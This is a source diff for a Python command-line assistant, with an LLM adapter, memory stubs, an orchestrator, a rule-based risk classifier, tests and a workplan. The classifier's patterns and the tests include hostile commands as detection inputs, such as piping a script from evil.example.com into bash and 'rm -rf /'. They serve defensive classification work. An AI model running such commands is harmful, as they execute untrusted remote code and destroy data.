"""llm-connect adapter boundary — the integration seam (T04).
|
||||
|
||||
can-you-assist owns orchestration + CLI experience.
|
||||
llm-connect owns provider access, config, token counting, and structured I/O.
|
||||
|
||||
This package defines the small stable Protocol / interface that all model
|
||||
interaction must flow through. A deterministic fake lives here for tests.
|
||||
Real delegation to llm-connect is a small localized change once the contract
|
||||
is stable.
|
||||
|
||||
See workplan CYA-WP-0001-T04 for the full contract and acceptance criteria.
|
||||
"""
|
||||
|
||||
from .adapter import (
|
||||
AssistanceRequest,
|
||||
AssistanceResponse,
|
||||
LLMAdapter,
|
||||
FakeLLMAdapter,
|
||||
)
|
||||
|
||||
__all__ = [
|
||||
"AssistanceRequest",
|
||||
"AssistanceResponse",
|
||||
"LLMAdapter",
|
||||
"FakeLLMAdapter",
|
||||
]
|
||||
|
||||
139
src/cya/llm/adapter.py
Normal file
139
src/cya/llm/adapter.py
Normal file
@@ -0,0 +1,139 @@
|
||||
"""llm-connect adapter boundary (T04 — the integration seam).
|
||||
|
||||
Per SCOPE.md and INTENT.md:
|
||||
- `can-you-assist` owns orchestration + CLI experience.
|
||||
- `llm-connect` owns provider access, config, token counting, and structured I/O.
|
||||
|
||||
This module defines the single stable contract that *all* model interaction
|
||||
in this repository must flow through. There must never be a production code
|
||||
path that talks to an LLM (or a mock) while bypassing this boundary.
|
||||
|
||||
Design goals for the MVP slice:
|
||||
- Tiny, stable surface (Protocol + two simple data containers).
|
||||
- A deterministic, fully reproducible FakeLLMAdapter for tests and early demos.
|
||||
- Easy future replacement: swapping the fake for a real (or stubbed)
|
||||
llm-connect client must be a small, localized change.
|
||||
|
||||
See workplan CYA-WP-0001-T04 for the full acceptance criteria and the
|
||||
"Integration Guide for llm-connect" expectations.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Any, Protocol
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Request / Response shapes (kept minimal for T04)
|
||||
# These will evolve slightly when the real orchestrator (T06) and
|
||||
# llm-connect types are known, but the boundary contract stays stable.
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
@dataclass
|
||||
class AssistanceRequest:
|
||||
"""What we send to the LLM adapter.
|
||||
|
||||
Contains the framed user intent, the packed context envelope (or its
|
||||
serialised form), and any hints the caller wants to pass (model prefs,
|
||||
token budget, etc.). The adapter is allowed to ignore hints it does not
|
||||
understand.
|
||||
"""
|
||||
|
||||
user_request: str
|
||||
context: dict[str, Any] | None = None # usually a ContextEnvelope.to_dict()
|
||||
hints: dict[str, Any] = field(default_factory=dict)
|
||||
|
||||
|
||||
@dataclass
|
||||
class AssistanceResponse:
|
||||
"""What comes back from the LLM adapter.
|
||||
|
||||
The orchestrator / CLI is responsible for turning this into the final
|
||||
user-facing output. The raw fields are intentionally rich so that
|
||||
different front-ends (terminal, future voice) can render appropriately.
|
||||
"""
|
||||
|
||||
suggestion: str
|
||||
explanation: str = ""
|
||||
rationale: str = ""
|
||||
risks: list[str] = field(default_factory=list)
|
||||
raw_model_output: str | None = None
|
||||
metadata: dict[str, Any] = field(default_factory=dict)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# The stable boundary
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class LLMAdapter(Protocol):
|
||||
"""The single seam for all model interaction.
|
||||
|
||||
Any real implementation (llm-connect or otherwise) must satisfy this
|
||||
protocol. All production call sites must go through an instance of
|
||||
something obeying this interface.
|
||||
"""
|
||||
|
||||
def complete(self, request: AssistanceRequest) -> AssistanceResponse:
|
||||
"""Turn a framed request + context into a structured assistant response."""
|
||||
...
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Deterministic fake (used by tests, early demos, and T06 development)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class FakeLLMAdapter:
|
||||
"""A fully deterministic, side-effect-free fake adapter.
|
||||
|
||||
Returns canned but useful responses that are stable across runs.
|
||||
The response content is derived only from the request text so that
|
||||
tests can assert on it without any network or real model.
|
||||
|
||||
This is the implementation that must be used by all unit and safety
|
||||
tests until a real adapter is explicitly swapped in.
|
||||
"""
|
||||
|
||||
def complete(self, request: AssistanceRequest) -> AssistanceResponse:
|
||||
user_text = request.user_request.strip()
|
||||
risks: list[str] = []
|
||||
|
||||
# Very simple deterministic logic for the MVP slice.
|
||||
# In a real adapter this would be the call to llm-connect.
|
||||
if "delete" in user_text.lower() or "remove" in user_text.lower():
|
||||
suggestion = "I cannot recommend executing that directly. Consider a more targeted command or review the exact files first."
|
||||
explanation = "Your request contained destructive language. The safety layer already required confirmation; the model echoes caution."
|
||||
rationale = "Rule-based safety + conservative model policy."
|
||||
risks = ["Destructive intent detected by rules", "Broad scope in request"]
|
||||
elif "git" in user_text.lower() and ("log" in user_text.lower() or "history" in user_text.lower()):
|
||||
suggestion = "Run: git log --oneline -10 --graph --decorate"
|
||||
explanation = "Standard, safe way to view recent history with a compact graph."
|
||||
rationale = "Common informational request; safe read-only operation."
|
||||
else:
|
||||
suggestion = f"Understood: {user_text[:80]}...\n\nSuggested next step: explore the current directory with `ls -la` or `git status` and share more specific intent."
|
||||
explanation = "This is a placeholder response from the FakeLLMAdapter (T04)."
|
||||
rationale = "No high-risk patterns; generic helpful reply."
|
||||
|
||||
return AssistanceResponse(
|
||||
suggestion=suggestion,
|
||||
explanation=explanation,
|
||||
rationale=rationale,
|
||||
risks=risks,
|
||||
raw_model_output=f"[FAKE] echo of request: {user_text[:200]}",
|
||||
metadata={
|
||||
"adapter": "FakeLLMAdapter",
|
||||
"version": "t04-mvp",
|
||||
"deterministic": True,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
__all__ = [
|
||||
"AssistanceRequest",
|
||||
"AssistanceResponse",
|
||||
"LLMAdapter",
|
||||
"FakeLLMAdapter",
|
||||
]
|
||||
89
src/cya/memory/__init__.py
Normal file
89
src/cya/memory/__init__.py
Normal file
@@ -0,0 +1,89 @@
|
||||
"""phase-memory ports (T05) — strictly minimal no-op version.
|
||||
|
||||
Operator direction (2026-05-26): Keep strictly minimal in this slice.
|
||||
Pure explicit ports with no-op implementations and clear
|
||||
"to be replaced by real phase-memory integration" markers.
|
||||
**No local JSON placeholder or file-backed store in this slice.**
|
||||
|
||||
All memory interactions in can-you-assist must go through these ports.
|
||||
No global singletons, no implicit ~/.cache, no opaque vendor memory.
|
||||
|
||||
When the real `phase-memory` package is integrated, the entire contents
|
||||
of this module (or the implementations behind these names) will be
|
||||
replaced by the real ports. Code reviewers and future contributors
|
||||
should be able to point at this file and say "this is the seam".
|
||||
|
||||
See workplan CYA-WP-0001-T05 for the full contract and acceptance criteria.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import sys
|
||||
from typing import Any
|
||||
|
||||
|
||||
def _warn_not_connected(feature: str) -> None:
|
||||
"""Loud, visible marker that phase-memory is not yet wired."""
|
||||
msg = (
|
||||
f"[phase-memory] {feature} called — phase-memory not yet connected. "
|
||||
"This is a no-op placeholder. Real implementation will come from the "
|
||||
"phase-memory package. See T05 in workplan CYA-WP-0001."
|
||||
)
|
||||
print(msg, file=sys.stderr)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Explicit ports (the four capabilities from the workplan)
|
||||
# These are the exact extension points that phase-memory will implement.
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def remember_preference(key: str, value: Any, scope: str = "cwd") -> None:
|
||||
"""Remember a user preference or workflow pattern.
|
||||
|
||||
Will be replaced by real phase-memory.
|
||||
"""
|
||||
_warn_not_connected(f"remember_preference({key!r}, scope={scope})")
|
||||
# No-op by design
|
||||
|
||||
|
||||
def recall_preferences(scope: str = "cwd", task_class: str | None = None) -> dict[str, Any]:
|
||||
"""Recall relevant history / preferences for the current cwd + task class.
|
||||
|
||||
Will be replaced by real phase-memory.
|
||||
Returns empty dict in this slice.
|
||||
"""
|
||||
_warn_not_connected(f"recall_preferences(scope={scope}, task={task_class})")
|
||||
return {}
|
||||
|
||||
|
||||
def forget(scope: str = "cwd", keys: list[str] | None = None) -> None:
|
||||
"""Forget / reset memory (scoped).
|
||||
|
||||
Will be replaced by real phase-memory.
|
||||
"""
|
||||
_warn_not_connected(f"forget(scope={scope}, keys={keys})")
|
||||
# No-op
|
||||
|
||||
|
||||
def export_memory(scope: str = "cwd") -> dict[str, Any]:
|
||||
"""Inspect / export current memory for this project or user.
|
||||
|
||||
Will be replaced by real phase-memory.
|
||||
Returns a clear "disabled" marker in this slice.
|
||||
"""
|
||||
_warn_not_connected(f"export_memory(scope={scope})")
|
||||
return {
|
||||
"status": "phase-memory not connected (T05 no-op)",
|
||||
"scope": scope,
|
||||
"note": "Replace this entire module with the real phase-memory ports.",
|
||||
}
|
||||
|
||||
|
||||
__all__ = [
|
||||
"remember_preference",
|
||||
"recall_preferences",
|
||||
"forget",
|
||||
"export_memory",
|
||||
]
|
||||
|
||||
117
src/cya/orchestrator.py
Normal file
117
src/cya/orchestrator.py
Normal file
@@ -0,0 +1,117 @@
|
||||
"""Assistance orchestrator (T06).
|
||||
|
||||
The piece that turns raw user intent + collected context into a well-formed
|
||||
request for the LLM adapter (T04), then turns the adapter response into the
|
||||
final terminal output the user sees.
|
||||
|
||||
Responsibilities in this slice:
|
||||
- Own the end-to-end happy path after Typer argument parsing.
|
||||
- Coordinate context collector (T02), risk classifier (T03), and LLMAdapter (T04).
|
||||
- Keep the CLI surface (main.py) thin — it should only do argument parsing,
|
||||
help/version, and delegation to this orchestrator.
|
||||
- Be testable in isolation with the FakeLLMAdapter (critical for T07).
|
||||
|
||||
This module is the natural home for future prompt framing, context packing
|
||||
with token awareness, safety charter injection, and response post-processing.
|
||||
|
||||
See workplan CYA-WP-0001-T06.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from rich.console import Console
|
||||
from rich.panel import Panel
|
||||
|
||||
from cya.context.collector import collect, render_explanation
|
||||
from cya.safety.risk import classify, get_user_confirmation
|
||||
from cya.llm.adapter import AssistanceRequest, FakeLLMAdapter
|
||||
|
||||
|
||||
console = Console()
|
||||
|
||||
|
||||
def handle_request(
|
||||
user_request: str,
|
||||
*,
|
||||
explain_context: bool = False,
|
||||
dry_run: bool = False,
|
||||
) -> None:
|
||||
"""Primary orchestrator entry point.
|
||||
|
||||
This is what the CLI (and future tests / other front-ends) should call.
|
||||
It coordinates the full current flow:
|
||||
context → safety (with mandatory confirmation) → LLMAdapter → render
|
||||
"""
|
||||
# 1. Context (always cheap; needed for safety "affected" and for the adapter)
|
||||
try:
|
||||
envelope = collect(".")
|
||||
except Exception:
|
||||
envelope = None
|
||||
|
||||
if explain_context and envelope:
|
||||
try:
|
||||
explanation = render_explanation(envelope)
|
||||
console.print(
|
||||
Panel(
|
||||
explanation,
|
||||
title="Context Envelope (T02)",
|
||||
border_style="green",
|
||||
padding=(1, 1),
|
||||
)
|
||||
)
|
||||
except Exception as exc:
|
||||
console.print(f"[red]Context explanation error: {exc}[/red]")
|
||||
|
||||
# 2. Risk classification + mandatory confirmation (T03)
|
||||
assessment = classify(user_request, envelope)
|
||||
|
||||
if assessment.requires_confirmation:
|
||||
from rich.table import Table
|
||||
|
||||
table = Table(
|
||||
title=f"Risk Assessment — {assessment.level.value.upper()}",
|
||||
show_header=False,
|
||||
border_style="red",
|
||||
)
|
||||
table.add_row("Rationale", assessment.rationale)
|
||||
if assessment.preview:
|
||||
table.add_row("Preview", assessment.preview)
|
||||
if assessment.affected_summary:
|
||||
table.add_row("Would affect", assessment.affected_summary)
|
||||
table.add_row("Rules", ", ".join(assessment.rules_triggered[:3]))
|
||||
console.print(table)
|
||||
|
||||
if not get_user_confirmation(assessment):
|
||||
console.print("[yellow]Action cancelled by user. No changes made.[/yellow]")
|
||||
return
|
||||
|
||||
if dry_run:
|
||||
console.print("[green]--dry-run acknowledged.[/green] No side-effects.")
|
||||
return
|
||||
|
||||
# 3. Call through the single LLMAdapter boundary (T04)
|
||||
adapter = FakeLLMAdapter()
|
||||
llm_request = AssistanceRequest(
|
||||
user_request=user_request,
|
||||
context=envelope.to_dict() if envelope else None,
|
||||
)
|
||||
llm_response = adapter.complete(llm_request)
|
||||
|
||||
# 4. Render final user-facing artifact (T06 responsibility)
|
||||
console.print(
|
||||
Panel(
|
||||
f"[bold]Suggestion:[/bold]\n{llm_response.suggestion}\n\n"
|
||||
f"[dim]{llm_response.explanation}\n"
|
||||
f"Rationale: {llm_response.rationale}[/dim]",
|
||||
title="LLM Response (via T04 seam)",
|
||||
border_style="magenta",
|
||||
padding=(1, 1),
|
||||
)
|
||||
)
|
||||
|
||||
console.print(
|
||||
"[green]✓[/green] Request processed by orchestrator (T02+T03+T04 coordinated by T06)."
|
||||
)
|
||||
|
||||
|
||||
__all__ = ["handle_request"]
|
||||
23
src/cya/safety/__init__.py
Normal file
23
src/cya/safety/__init__.py
Normal file
@@ -0,0 +1,23 @@
|
||||
"""Risk classification and confirmation layer (T03).
|
||||
|
||||
Genuine rule-based assessment is the primary mechanism (per operator direction
|
||||
recorded 2026-05-26). Results are surfaced to the LLM as structured context
|
||||
where appropriate. Architecture or policy decisions that surface become ADRs.
|
||||
|
||||
See workplan CYA-WP-0001-T03 for the full contract and acceptance criteria.
|
||||
"""
|
||||
|
||||
from .risk import (
|
||||
RiskAssessment,
|
||||
RiskLevel,
|
||||
classify,
|
||||
get_user_confirmation,
|
||||
)
|
||||
|
||||
__all__ = [
|
||||
"RiskLevel",
|
||||
"RiskAssessment",
|
||||
"classify",
|
||||
"get_user_confirmation",
|
||||
]
|
||||
|
||||
273
src/cya/safety/risk.py
Normal file
273
src/cya/safety/risk.py
Normal file
@@ -0,0 +1,273 @@
|
||||
"""Risk classification and mandatory confirmation layer (T03).
|
||||
|
||||
Genuine rule-based assessment is the *primary* mechanism (per operator
|
||||
direction recorded 2026-05-26 in Decision D1).
|
||||
|
||||
Results are designed to be surfaced to the LLM as structured context.
|
||||
The LLM may propose or refine suggestions, but any architecture-level,
|
||||
policy, or significant design decisions that surface during use must be
|
||||
captured as ADRs in this repository.
|
||||
|
||||
This module is intentionally simple, deterministic, and fully inspectable.
|
||||
No ML, no external calls, no hidden state.
|
||||
|
||||
See workplan CYA-WP-0001-T03 for the full contract and acceptance criteria.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
from dataclasses import dataclass, field
|
||||
from enum import Enum
|
||||
from typing import List, Optional, TYPE_CHECKING
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from cya.context.collector import ContextEnvelope
|
||||
|
||||
|
||||
class RiskLevel(str, Enum):
|
||||
"""Ordered from least to most concerning for UX decisions."""
|
||||
|
||||
SAFE = "safe"
|
||||
REVIEW = "review"
|
||||
DESTRUCTIVE = "destructive"
|
||||
MASS_EDIT = "mass_edit"
|
||||
PRIVILEGED = "privileged"
|
||||
NETWORK_AFFECTING = "network_affecting"
|
||||
OTHER = "other"
|
||||
|
||||
|
||||
@dataclass
|
||||
class RiskAssessment:
|
||||
"""Structured output of the classifier.
|
||||
|
||||
This object (or its dict form) is what gets attached to the request
|
||||
going to the LLM and is what drives the mandatory confirmation UI.
|
||||
"""
|
||||
|
||||
level: RiskLevel
|
||||
rationale: str
|
||||
rules_triggered: List[str] = field(default_factory=list)
|
||||
preview: Optional[str] = None
|
||||
affected_summary: Optional[str] = None
|
||||
requires_confirmation: bool = False
|
||||
confidence: float = 0.75
|
||||
|
||||
def to_dict(self) -> dict:
|
||||
return {
|
||||
"level": self.level.value,
|
||||
"rationale": self.rationale,
|
||||
"rules_triggered": self.rules_triggered,
|
||||
"preview": self.preview,
|
||||
"affected_summary": self.affected_summary,
|
||||
"requires_confirmation": self.requires_confirmation,
|
||||
"confidence": self.confidence,
|
||||
}
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Rule definitions (conservative, name-based, easy to audit and extend)
|
||||
# Order matters: more specific/dangerous rules first.
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_RULES: list[tuple[re.Pattern, RiskLevel, str]] = [
|
||||
# Extremely destructive / irreversible filesystem operations
|
||||
(
|
||||
re.compile(r"\brm\s+-r(f|)\s+", re.I),
|
||||
RiskLevel.DESTRUCTIVE,
|
||||
"Destructive recursive remove (rm -rf style).",
|
||||
),
|
||||
(
|
||||
re.compile(r"\brm\s+--recursive\b", re.I),
|
||||
RiskLevel.DESTRUCTIVE,
|
||||
"Destructive recursive remove.",
|
||||
),
|
||||
(
|
||||
re.compile(r"\b(delete\s+(all|every|recursive)|rmdir\s+-p)\b", re.I),
|
||||
RiskLevel.DESTRUCTIVE,
|
||||
"Broad destructive deletion intent.",
|
||||
),
|
||||
(
|
||||
re.compile(r"\b(drop\s+(table|database|schema)|truncate\s+table)\b", re.I),
|
||||
RiskLevel.DESTRUCTIVE,
|
||||
"Destructive database operation.",
|
||||
),
|
||||
(
|
||||
re.compile(r"\b(git\s+(push\s+(-f|--force)|reset\s+--hard|clean\s+-f(d|)))\b", re.I),
|
||||
RiskLevel.DESTRUCTIVE,
|
||||
"Destructive git operation (force push, hard reset, aggressive clean).",
|
||||
),
|
||||
(
|
||||
re.compile(r"\b(chmod\s+(-R\s+)?[0-7]{3,4}\b|chown\s+-R)\b", re.I),
|
||||
RiskLevel.PRIVILEGED,
|
||||
"Privilege escalation or mass permission change.",
|
||||
),
|
||||
# Mass-edit / bulk modification
|
||||
(
|
||||
re.compile(r"\b(find\s+.*-exec\s+(rm|sed\s+-i|perl\s+-i)|xargs\s+(rm|sed\s+-i))\b", re.I),
|
||||
RiskLevel.MASS_EDIT,
|
||||
"Bulk / mass modification pattern via find + exec or xargs.",
|
||||
),
|
||||
# Network + execution (common supply-chain / remote code execution vectors)
|
||||
(
|
||||
re.compile(r"\b(curl\s+[^\|]*\|\s*(bash|sh|zsh|fish|python)|wget\s+[^\|]*\|\s*(bash|sh))\b", re.I),
|
||||
RiskLevel.NETWORK_AFFECTING,
|
||||
"Remote content piped directly to a shell interpreter.",
|
||||
),
|
||||
(
|
||||
re.compile(r"\b(sudo\s+|su\s+(-|root)|doas\s+)\b", re.I),
|
||||
RiskLevel.PRIVILEGED,
|
||||
"Privileged execution requested.",
|
||||
),
|
||||
# Broad dangerous intent language (even if not perfect shell syntax yet)
|
||||
(
|
||||
re.compile(r"\b(delete|remove|destroy|wipe|purge)\s+(every|all|recursive|entire|logs?\s+older)\b", re.I),
|
||||
RiskLevel.DESTRUCTIVE,
|
||||
"User intent to perform broad destructive removal.",
|
||||
),
|
||||
# Read-only or informational commands are generally safe
|
||||
(
|
||||
re.compile(r"^\s*(ls|cat|head|tail|less|more|grep|rg|find\s+.*-name|git\s+(log|status|diff|show|branch)|echo)\b", re.I),
|
||||
RiskLevel.SAFE,
|
||||
"Read-only / informational command pattern.",
|
||||
),
|
||||
]
|
||||
|
||||
|
||||
def classify(request: str, context: Optional["ContextEnvelope"] = None) -> RiskAssessment:
|
||||
"""Primary rule-based risk classifier.
|
||||
|
||||
Returns the highest-severity matching assessment.
|
||||
Always produces a result; never raises for bad input.
|
||||
"""
|
||||
if not request or not request.strip():
|
||||
return RiskAssessment(
|
||||
level=RiskLevel.OTHER,
|
||||
rationale="Empty or whitespace-only request.",
|
||||
requires_confirmation=False,
|
||||
)
|
||||
|
||||
triggered: List[str] = []
|
||||
chosen_level = RiskLevel.SAFE
|
||||
chosen_rationale = "Request appears safe based on current rules."
|
||||
|
||||
text = request.strip()
|
||||
|
||||
for pattern, level, rationale in _RULES:
|
||||
if pattern.search(text):
|
||||
triggered.append(rationale)
|
||||
# Higher severity wins (destructive > review > safe, etc.)
|
||||
if _severity(level) > _severity(chosen_level):
|
||||
chosen_level = level
|
||||
chosen_rationale = rationale
|
||||
|
||||
requires = chosen_level != RiskLevel.SAFE
|
||||
|
||||
# Build a conservative preview for T03 (pre-orchestrator).
|
||||
# In T06+ the real suggestion from the LLM will be used.
|
||||
preview = _build_preview(text, chosen_level, context)
|
||||
affected = _build_affected_summary(context) if context else None
|
||||
|
||||
return RiskAssessment(
|
||||
level=chosen_level,
|
||||
rationale=chosen_rationale,
|
||||
rules_triggered=triggered or ["No specific high-risk rule matched."],
|
||||
preview=preview,
|
||||
affected_summary=affected,
|
||||
requires_confirmation=requires,
|
||||
confidence=0.85 if triggered else 0.6,
|
||||
)
|
||||
|
||||
|
||||
def _severity(level: RiskLevel) -> int:
|
||||
order = {
|
||||
RiskLevel.SAFE: 0,
|
||||
RiskLevel.REVIEW: 1,
|
||||
RiskLevel.OTHER: 2,
|
||||
RiskLevel.NETWORK_AFFECTING: 3,
|
||||
RiskLevel.MASS_EDIT: 4,
|
||||
RiskLevel.PRIVILEGED: 5,
|
||||
RiskLevel.DESTRUCTIVE: 6,
|
||||
}
|
||||
return order.get(level, 0)
|
||||
|
||||
|
||||
def _build_preview(request: str, level: RiskLevel, context: Optional["ContextEnvelope"]) -> str:
|
||||
"""Generate a human-readable, copy-pasteable preview for the current request."""
|
||||
cwd = context.cwd if context else "current directory"
|
||||
|
||||
if level == RiskLevel.DESTRUCTIVE:
|
||||
return f"Would perform destructive removal in {cwd} based on: {request[:120]}"
|
||||
if level == RiskLevel.MASS_EDIT:
|
||||
return f"Would perform bulk modifications across files in {cwd}"
|
||||
if level == RiskLevel.PRIVILEGED:
|
||||
return f"Would execute privileged command: {request[:100]}"
|
||||
if level == RiskLevel.NETWORK_AFFECTING:
|
||||
return f"Would fetch and execute remote content (network + exec risk)"
|
||||
if level == RiskLevel.REVIEW:
|
||||
return f"Would perform: {request[:140]} (review recommended)"
|
||||
return f"Would handle request: {request[:140]}"
|
||||
|
||||
|
||||
def _build_affected_summary(context: Optional["ContextEnvelope"]) -> str | None:
|
||||
if not context:
|
||||
return None
|
||||
top = [e["name"] for e in context.top_level if not e.get("ignored")][:8]
|
||||
return f"Working in: {context.cwd}. Visible top-level items: {', '.join(top)}"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Mandatory confirmation (always in the launching terminal)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def get_user_confirmation(assessment: RiskAssessment, *, prompt: str | None = None) -> bool:
|
||||
"""Force an explicit confirmation from the user in the controlling terminal.
|
||||
|
||||
Returns True only on clear affirmative input.
|
||||
Uses typer.confirm when available for nice rich prompting; falls back to
|
||||
plain input() so the behaviour works even in minimal environments.
|
||||
|
||||
This is the enforcement point for the "never auto-execute" rule.
|
||||
"""
|
||||
if not assessment.requires_confirmation:
|
||||
return True
|
||||
|
||||
message = prompt or _default_confirmation_message(assessment)
|
||||
|
||||
try:
|
||||
import typer
|
||||
|
||||
# typer.confirm prints to stderr/stdout appropriately and reads from the
|
||||
# controlling terminal. It respects --yes / non-interactive cases in
|
||||
# a sane way for a CLI tool.
|
||||
return typer.confirm(message, default=False)
|
||||
except Exception:
|
||||
# Very defensive fallback – still requires explicit typing
|
||||
print(message + " [y/N]: ", end="", flush=True)
|
||||
try:
|
||||
answer = input().strip().lower()
|
||||
return answer in ("y", "yes")
|
||||
except EOFError:
|
||||
return False
|
||||
|
||||
|
||||
def _default_confirmation_message(assessment: RiskAssessment) -> str:
|
||||
lines = [
|
||||
f"\nRisk level: {assessment.level.value.upper()}",
|
||||
f"Rationale: {assessment.rationale}",
|
||||
]
|
||||
if assessment.preview:
|
||||
lines.append(f"Preview: {assessment.preview}")
|
||||
if assessment.affected_summary:
|
||||
lines.append(f"Affected: {assessment.affected_summary}")
|
||||
lines.append("Proceed? (type 'yes' or 'y' to continue, anything else cancels)")
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
__all__ = [
|
||||
"RiskLevel",
|
||||
"RiskAssessment",
|
||||
"classify",
|
||||
"get_user_confirmation",
|
||||
]
|
||||
10
tests/conftest.py
Normal file
10
tests/conftest.py
Normal file
@@ -0,0 +1,10 @@
|
||||
"""Pytest configuration and fixtures for can-you-assist (T07).
|
||||
|
||||
Safety-focused tests live here. All tests should be fast and hermetic.
|
||||
No live LLM or network required for the default run.
|
||||
"""
|
||||
|
||||
import pytest
|
||||
|
||||
# Future: common fixtures for envelopes, fake adapters, etc.
|
||||
# For now this file exists to establish the test layout.
|
||||
33
tests/test_collector.py
Normal file
33
tests/test_collector.py
Normal file
@@ -0,0 +1,33 @@
|
||||
"""Tests for the bounded context collector (T02 + T07).
|
||||
|
||||
Focus on the hard constraints:
|
||||
- Never recurses.
|
||||
- Respects the ignore list for dangerous/expensive locations.
|
||||
- Always produces a serializable envelope with provenance.
|
||||
"""
|
||||
|
||||
from cya.context.collector import collect, ContextEnvelope
|
||||
|
||||
|
||||
def test_collect_returns_envelope():
|
||||
env = collect(".")
|
||||
assert isinstance(env, ContextEnvelope)
|
||||
assert env.cwd
|
||||
assert isinstance(env.top_level, list)
|
||||
assert env.collected_at
|
||||
|
||||
|
||||
def test_collect_is_non_recursive_and_filters():
|
||||
env = collect(".")
|
||||
# We should never have deep nested paths in top_level for this collector
|
||||
for entry in env.top_level:
|
||||
assert "/" not in entry.get("name", "")
|
||||
assert "\\" not in entry.get("name", "")
|
||||
|
||||
|
||||
def test_collect_is_serializable():
|
||||
env = collect(".")
|
||||
d = env.to_dict()
|
||||
assert isinstance(d, dict)
|
||||
assert "cwd" in d
|
||||
assert "top_level" in d
|
||||
72
tests/test_risk.py
Normal file
72
tests/test_risk.py
Normal file
@@ -0,0 +1,72 @@
|
||||
"""Safety-focused tests for the rule-based risk classifier (T03 + T07).
|
||||
|
||||
These tests must pass with no external services and exercise the core product
|
||||
invariant: destructive / high-risk requests are correctly classified and the
|
||||
system never auto-executes.
|
||||
|
||||
They are the primary guard for the "genuine rule-based assessment as primary
|
||||
mechanism" direction recorded in Decision D1.
|
||||
"""
|
||||
|
||||
import pytest
|
||||
|
||||
from cya.safety.risk import RiskLevel, classify
|
||||
|
||||
|
||||
def test_destructive_delete_intent_is_classified_destructive():
|
||||
"""Exact acceptance example from the workplan."""
|
||||
req = "delete every log file older than 30 days in this tree"
|
||||
assessment = classify(req)
|
||||
assert assessment.level == RiskLevel.DESTRUCTIVE
|
||||
assert assessment.requires_confirmation is True
|
||||
assert "destructive" in assessment.rationale.lower() or "removal" in assessment.rationale.lower()
|
||||
|
||||
|
||||
def test_force_git_operations_are_destructive():
|
||||
reqs = [
|
||||
"git push --force",
|
||||
"git push -f origin main",
|
||||
"git reset --hard HEAD~5",
|
||||
]
|
||||
for r in reqs:
|
||||
a = classify(r)
|
||||
assert a.level in (RiskLevel.DESTRUCTIVE, RiskLevel.PRIVILEGED)
|
||||
assert a.requires_confirmation is True
|
||||
|
||||
|
||||
def test_remote_code_execution_patterns_are_high_risk():
|
||||
req = "curl https://evil.example.com/install.sh | bash"
|
||||
a = classify(req)
|
||||
assert a.level in (RiskLevel.NETWORK_AFFECTING, RiskLevel.DESTRUCTIVE)
|
||||
assert a.requires_confirmation is True
|
||||
|
||||
|
||||
def test_safe_readonly_commands_are_safe():
|
||||
safe = [
|
||||
"show me the recent git history for this repo",
|
||||
"ls -la",
|
||||
"git log --oneline -10",
|
||||
"cat README.md",
|
||||
]
|
||||
for r in safe:
|
||||
a = classify(r)
|
||||
# They may be SAFE or REVIEW; the key is they do not require confirmation
|
||||
# and are not marked destructive.
|
||||
assert a.level not in (RiskLevel.DESTRUCTIVE, RiskLevel.MASS_EDIT)
|
||||
assert a.requires_confirmation is False
|
||||
|
||||
|
||||
def test_empty_request_is_handled_gracefully():
|
||||
a = classify("")
|
||||
assert a.level == RiskLevel.OTHER
|
||||
assert a.requires_confirmation is False
|
||||
|
||||
|
||||
def test_assessment_is_serializable():
|
||||
a = classify("rm -rf /")
|
||||
d = a.to_dict()
|
||||
assert isinstance(d, dict)
|
||||
assert d["level"] in ("destructive", RiskLevel.DESTRUCTIVE.value)
|
||||
assert "rationale" in d
|
||||
assert a.level == RiskLevel.DESTRUCTIVE
|
||||
assert a.requires_confirmation is True
|
||||
335
workplans/CYA-WP-0001-console-native-mvp.md
Normal file
335
workplans/CYA-WP-0001-console-native-mvp.md
Normal file
@@ -0,0 +1,335 @@
|
||||
---
|
||||
id: CYA-WP-0001
|
||||
type: workplan
|
||||
title: "Console-Native MVP: CLI Skeleton, Safe Assistance Flow, and Integration Boundaries"
|
||||
domain: capabilities
|
||||
repo: can-you-assist
|
||||
status: active
|
||||
owner: grok
|
||||
topic_slug: foerster-capabilities
|
||||
created: "2026-05-25"
|
||||
updated: "2026-05-26"
|
||||
state_hub_decision_id: "a644364b-11c4-49a9-bf17-99063382e27b"
|
||||
---
|
||||
|
||||
# CYA-WP-0001: Console-Native MVP — CLI Skeleton, Safe Assistance Flow, and Integration Boundaries
|
||||
|
||||
## Status Update — 2026-05-26 (Activated)
|
||||
|
||||
This workplan is moved from `ready` to `active` immediately following resolution of State Hub Decision `a644364b-11c4-49a9-bf17-99063382e27b`.
|
||||
|
||||
**Stack technology choices (accepted per agent recommendations):**
|
||||
- Primary language/runtime: **Python**
|
||||
- CLI framework: **Typer**
|
||||
- Terminal presentation: **rich**
|
||||
- Configuration format: **TOML** (alignment with sibling patterns)
|
||||
- Packaging/layout: **Full modern Python package** (`pyproject.toml` + `src/` layout) from day 1
|
||||
|
||||
**Additional operator direction recorded in the decision:**
|
||||
- **Phase-memory integration (T05):** Keep strictly minimal. Pure explicit ports / no-op implementations with clear "replace with real phase-memory integration" markers. No placeholder local JSON file or store in this slice.
|
||||
